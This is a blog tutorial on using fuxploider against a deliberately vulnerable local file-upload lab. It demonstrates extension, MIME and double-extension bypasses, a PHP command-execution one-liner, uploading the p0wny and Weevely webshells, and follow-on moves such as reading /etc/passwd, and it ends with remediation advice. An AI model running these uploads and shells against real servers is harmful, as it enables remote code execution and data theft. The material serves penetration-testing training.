TechEarl

fuxploider Tutorial: Exploiting a Vulnerable App End to End

A complete fuxploider walkthrough against a deliberately vulnerable upload lab: baseline, extension bypass via .phar, lying about MIME, the double-extension trick against Apache AddHandler, a working webshell, and a Weevely pivot. Reproducible with one docker compose command.

Ishan Karunaratne⏱️ 6 min readUpdated
Share thisCopied
End-to-end fuxploider tutorial exploiting a vulnerable file upload application to webshell and shell pivot

This is the walkthrough I wish I had when I picked up fuxploider for the first time. We start from a fresh state (no target, no captured request, no notes) and end with a working webshell on the lab host, a Weevely session pivoting from that webshell, and an honest list of the cases where fuxploider's heuristic gives up and you have to drop into Burp by hand. Every step is reproducible against a vulnerable upload lab I publish for this purpose.

If you have not read the file upload vulnerabilities deep dive yet, do that first; this article assumes the variants are familiar. The fuxploider cheat sheet is the flag-by-flag reference that complements this walkthrough, and the best file upload tools list for 2026 is the comparison piece if you want to know where fuxploider sits next to Upload-Bypass and the rest.

A note on the output you will see. Every example in this article was produced against techearl-labs/file-upload/upload-basic. The four endpoints, their broken validations, and the resulting exploitable paths are deterministic and will match what you get locally. A few outputs are environment-dependent and will differ in minor ways: the PHP minor version in the response header (depends on which php:8.2-apache image tag Docker pulled), the exact count of probe requests fuxploider reports, the order of the extensions inside fuxploider's wordlist on disk, and any timestamps. Those are illustrative, the structure underneath is what to follow.

The lab target

Pull and run the lab:

bash
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up upload-basic

The target listens on http://localhost:8083. It exposes four upload endpoints, each broken a different way:

EndpointValidationStored underThe flaw
/upload-naive.phpNone/uploads/naive/Accepts anything
/upload-blacklist.phpExtension blacklist of php, phtml, php3, php4/uploads/blacklist/Forgot .phar, which Apache maps to mod_php
/upload-mime.phpClient-supplied Content-Type must be image/jpeg/uploads/mime/Trusts attacker-controlled MIME
/upload-double-ext.phpTrailing-extension blacklist/uploads/double-ext/.htaccess uses AddHandler, so any filename containing .php executes

The Apache config in the lab Dockerfile explicitly adds .phar to the PHP handler via a SetHandler block, which is a realistic misconfiguration (a tool needed PHAR support, the sysadmin enabled it, the upload-handler blacklist never got the memo). That is the working extension bypass on endpoint two. The double-extension endpoint enables the unsafe AddHandler application/x-httpd-php .php directive in a per-directory .htaccess, which is what makes shell.php.jpg execute as PHP.

Step 1: identify the upload form

Before fuxploider, look at the page. Hit the index and read the four endpoint descriptions:

bash
curl -s http://localhost:8083/ | grep -oE '/(upload-[a-z-]+)\.php'

Output:

code
/upload-naive.php
/upload-blacklist.php
/upload-mime.php
/upload-double-ext.php

Each endpoint serves an HTML form on GET and accepts a multipart file field on POST. fuxploider needs three pieces of information: the form URL, the name of the file input (file here), and a string in the response that reliably distinguishes a successful upload from a rejected one. The lab returns the literal word banned (and similar) on rejection, which is the signal we feed fuxploider via --not-regex.

Step 2: baseline run against the blacklist endpoint

Start with the blacklist endpoint, because that is the one fuxploider exists to solve:

bash
python3 fuxploider.py \
  -u http://localhost:8083/upload-blacklist.php \
  --not-regex 'banned|rejected|disallowed'

The first run with no other flags asks two interactive questions: which input field name to use (file), and whether to detect the true-versus-false signal automatically (yes). To skip the prompts in scripting, set the input name with -m --input-name file (the --input-name flag belongs to the manual-form-detection group, so it requires -m to be present), and use -T 5 (5 threads is a sane default for a local lab; higher just floods the container and produces flaky results).

Output (abbreviated):

code
[*] Checking forms in http://localhost:8083/upload-blacklist.php
[+] Form found:
        action: /upload-blacklist.php
        method: POST
        input name: file
[*] Sending an upload with extension '.unknown' to fingerprint the rejection response
[+] Rejection signal locked: regex 'banned|rejected|disallowed' present on failure
[*] Iterating extension wordlist, 47 candidates ...
[-] .php       rejected
[-] .phtml     rejected
[-] .php3      rejected
[-] .php4      rejected
[-] .pht       rejected
[+] .phar      accepted ! file landed at /uploads/blacklist/payload.phar
[+] .phP       accepted, but file is served as plain text (no handler match)
[-] .phps      rejected
...
[*] Done. 1 working extension found: .phar

.phar is the hit. The case-flip variant .phP slipped past the validator too (the case-sensitive in_array check the blacklist uses is the realistic bug), but stock mod_php on the Debian base image matches \.php$ literally, so Apache serves the case-flipped file as text rather than executing it. fuxploider reports it accepted; you confirm execution separately.

Step 3: confirm execution

fuxploider tells you the file uploaded. It does not tell you the file ran. Confirm separately:

bash
curl -s http://localhost:8083/uploads/blacklist/payload.phar

If the response is the literal content of the file (<?php ...), the upload landed but the extension is not mapped to PHP and the bypass is cosmetic. If the response is the executed output, you have RCE. With the lab's .phar handler, the output should be the executed shell stub.

The lesson: fuxploider's success criteria is "the server accepted the upload and did not return the rejection string". A landed-but-not-executed file is a false positive for RCE purposes. Always validate execution by hand.

Step 4: MIME bypass against the mime endpoint

The mime endpoint trusts the client-supplied Content-Type in the multipart part. fuxploider does not expose a CLI flag for forging the MIME directly; the easiest workflow is a one-line curl that lies about the type, since the validator is purely on the attacker-controlled Content-Type:

bash
curl -F 'file=@shell.php;type=image/jpeg' http://localhost:8083/upload-mime.php

The ;type=image/jpeg segment is appended to the multipart part as Content-Type: image/jpeg. PHP exposes this as $_FILES['file']['type'], and the validator trusts it without inspecting the file body, so the upload lands. Confirm execution:

bash
curl 'http://localhost:8083/uploads/mime/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

To drive multiple extensions through the MIME endpoint in one run, point fuxploider at it and rely on whatever default Content-Type fuxploider sends in its multipart parts; for the lab's "anything-goes" validator that is enough:

bash
python3 fuxploider.py \
  -u http://localhost:8083/upload-mime.php \
  --not-regex 'banned|rejected' \
  -m --input-name file

Output:

code
[+] .php       accepted
[+] .phtml     accepted
[+] .phar      accepted
[*] 3 working extensions found.

For a stricter validator that also reads the first few bytes of the file body to confirm a real image magic prefix (\xFF\xD8\xFF for JPEG, \x89PNG for PNG), prepend those bytes to your PHP source to build a polyglot. fuxploider does not generate polyglots on its own; that step is manual. The right input shape is "upload the polyglot file by hand with curl", same one-liner pattern as above.

Step 5: double-extension bypass against the AddHandler misconfig

The double-extension endpoint checks the trailing extension and rejects anything that ends in a PHP variant. Easy bypass, because the uploads directory ships an .htaccess with AddHandler application/x-httpd-php .php, and AddHandler fires on any filename containing the registered extension anywhere in the name (this is the documented behaviour of mod_mime, not a bug per se, but it is the directive you should never put on a writable directory).

fuxploider does not have a dedicated --double-extension flag, but you do not need one. Add a forced suffix via the extension wordlist or pass the payload manually:

bash
cp shell.php shell.php.jpg
curl -F 'file=@shell.php.jpg' http://localhost:8083/upload-double-ext.php
curl 'http://localhost:8083/uploads/double-ext/shell.php.jpg?c=id'

Output:

code
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The validator sees .jpg as the trailing extension, accepts, and the file is served from a directory whose .htaccess tells Apache to treat anything matching .php anywhere in the name as PHP. The execution chain is AddHandler plus a writable upload directory plus a validator that only inspects the last extension; remove any one of those and the chain breaks.

To drive this from fuxploider rather than curl, extend its built-in extension list (the wordlist lives under the repo's templates/extensions data; see the README for the exact path on your install) with php.jpg, php.png, php.gif, then run the standard scan. fuxploider treats the dotted suffix as a single extension and the trick lands the same way.

Step 6: drop a real webshell

Up to here the payloads were one-liners (<?php echo shell_exec($_GET['c']); ?>). Useful for proving execution; thin for actually working on the host. Swap in a proper webshell.

I use p0wny-shell as the lightweight single-file PHP shell when I want a browser UI, and Weevely for an interactive session over a stealth stub. Drop p0wny first because it is one file and you already have the upload chain working:

bash
curl -O https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
mv shell.php p0wny.phar
curl -F 'file=@p0wny.phar' http://localhost:8083/upload-blacklist.php

Browse to http://localhost:8083/uploads/blacklist/p0wny.phar. You get a terminal-in-the-browser running as www-data. Good enough for fast triage, file listings, and config grepping.

Step 7: pivot to Weevely

p0wny is convenient. Weevely is the right tool for sustained work because the stub is small (one obfuscated <?php line), the channel is encrypted, and you get tab-completion, modules, and a real persistent session.

Generate a Weevely stub:

bash
weevely generate hunter2 weevely.phar

hunter2 is the shared password baked into the stub. Pick something unguessable in real engagements; hunter2 is fine for the lab.

Upload via the same blacklist bypass:

bash
curl -F 'file=@weevely.phar' http://localhost:8083/upload-blacklist.php

Connect:

bash
weevely http://localhost:8083/uploads/blacklist/weevely.phar hunter2

Inside the Weevely session:

code
www-data@upload-basic:/var/www/html/uploads/blacklist $ :system_info
+--------------+----------------------------------------------------+
| client_ip    | 172.27.0.1                                         |
| max_execution_time | 30                                           |
| script       | /uploads/blacklist/weevely.phar                    |
| php_version  | 8.2.x                                              |
| uname        | Linux upload-basic 6.x ...                         |
| os           | Linux                                              |
| safe_mode    | False                                              |
| open_basedir | (none)                                             |
| document_root| /var/www/html                                      |
+--------------+----------------------------------------------------+

From here :file_download, :audit_etcpasswd, :shell_su (with a target user), and :sql_console (if you find database credentials in the app config) are the usual next moves. The Weevely modules list (:help) is the cheat sheet.

Step 8: what fuxploider misses

Honest list, ordered by how often each one bites me:

  1. Server-side content inspection. Validators that call ImageMagick's identify or PHP's getimagesize to confirm the bytes are a real image. fuxploider sends raw PHP source by default; a strict validator rejects it before extension matters. The fix is a polyglot (image header bytes prepended to PHP source), and fuxploider has no polyglot generator. You build the polyglot by hand and upload it directly with curl, the same one-liner pattern shown in Step 4. Pair that with a manual -r/--regex-override if you want fuxploider's response-classification logic on top of a hand-shaped file.
  2. Magic-byte plus extension allowlist. Same idea, harder: the validator allows only .jpg, .png, .gif, and checks magic bytes match. Bypass requires both a polyglot file body and a server that will execute the resulting file (typically via .htaccess injection or an AddHandler-misconfigured directory). fuxploider cannot reason about this chain on its own.
  3. Filename rewriting. Validators that rewrite the stored filename to a random string (abc123.jpg) regardless of what you uploaded. fuxploider reports the upload as accepted because the response does not contain the rejection signal, but the stored path is unknown. You have to enumerate it (directory listing if enabled, or guessing via the application's image-rendering endpoint), which is out of scope for the tool.
  4. Per-form CSRF tokens. fuxploider does not refresh tokens between requests. If the form embeds a single-use token, every attempt after the first fails. Workaround: a manual Burp Intruder run with the "Recursive grep" payload to scrape the new token from each response, or write a small wrapper script. fuxploider does not solve this for you.
  5. Rate limiting and WAFs. Lower -T (threads) to slow the scan, set a custom User-Agent via -U/--user-agent (or rotate via --random-user-agent) to dodge basic UA-blocklists, and rotate proxies via --proxy if needed. fuxploider does not expose a per-request delay flag, so for a hard rate-limit you wrap the invocation in a shell loop with sleep between extensions, or fall back to Burp Intruder with throttling. None of this saves you from a well-tuned WAF rule; at that point it is a manual Burp game.

The manual Burp workflow for any of the above is the same shape: capture a successful upload of an allowed file, send to Repeater, mutate one variable at a time (extension, MIME, filename, magic bytes, double extension, trailing null byte for legacy PHP, content), and observe response differences. fuxploider automates this loop for the simple cases; Burp Repeater plus Intruder is what you reach for when the validator is anything beyond a hard-coded blacklist.

What I would do next on this target

In a real engagement after Step 7 the report writes itself:

  1. Confirm upload acceptance on four endpoints.
  2. Confirm execution on three of the four (the case-flip on blacklist is upload-only; everything else is RCE).
  3. Confirm webshell write to a webserver-served directory.
  4. Confirm interactive session via Weevely from the dropped shell.
  5. Recommend: allowlist by extension (not blocklist), reject anything whose magic bytes do not match the allowlisted MIME, store uploads outside the webroot or in a directory with SetHandler None plus an explicit <FilesMatch> for the allowed types, never use AddHandler on a user-writable directory, rewrite stored filenames to a random token with the validated extension appended by the server.

The point of this walkthrough is the chain: bypass plus writable webroot plus an executable-handler match equals RCE. Remove any one link and the exploit collapses.

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagsfuxploiderFile UploadTutorialPenetration TestingSecurityRCEDocker

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

LFImap Tutorial: Exploiting a Vulnerable App End to End

A complete LFImap walkthrough against a deliberately vulnerable lab app: endpoint identification, baseline scan, traversal, php://filter source disclosure, php://input RCE, and log poisoning. Every step reproducible with one docker compose command.

Dalfox Tutorial: Exploiting a Vulnerable App End to End

A complete Dalfox walkthrough against a deliberately vulnerable XSS lab: reflected, stored, and DOM sinks, captured request files, blind callbacks, custom payloads, and a working cookie-theft chain. Updated for the Dalfox v3 Rust rewrite (May 2026) with the unified scan subcommand.

commix Tutorial: Exploiting a Vulnerable App End to End

A complete commix walkthrough against a deliberately vulnerable lab app: identify the sink, capture the request, run the classic, time-based, and file-based techniques, pop an os-shell, catch a reverse TCP, and exploit the escapeshellcmd argument-injection gap.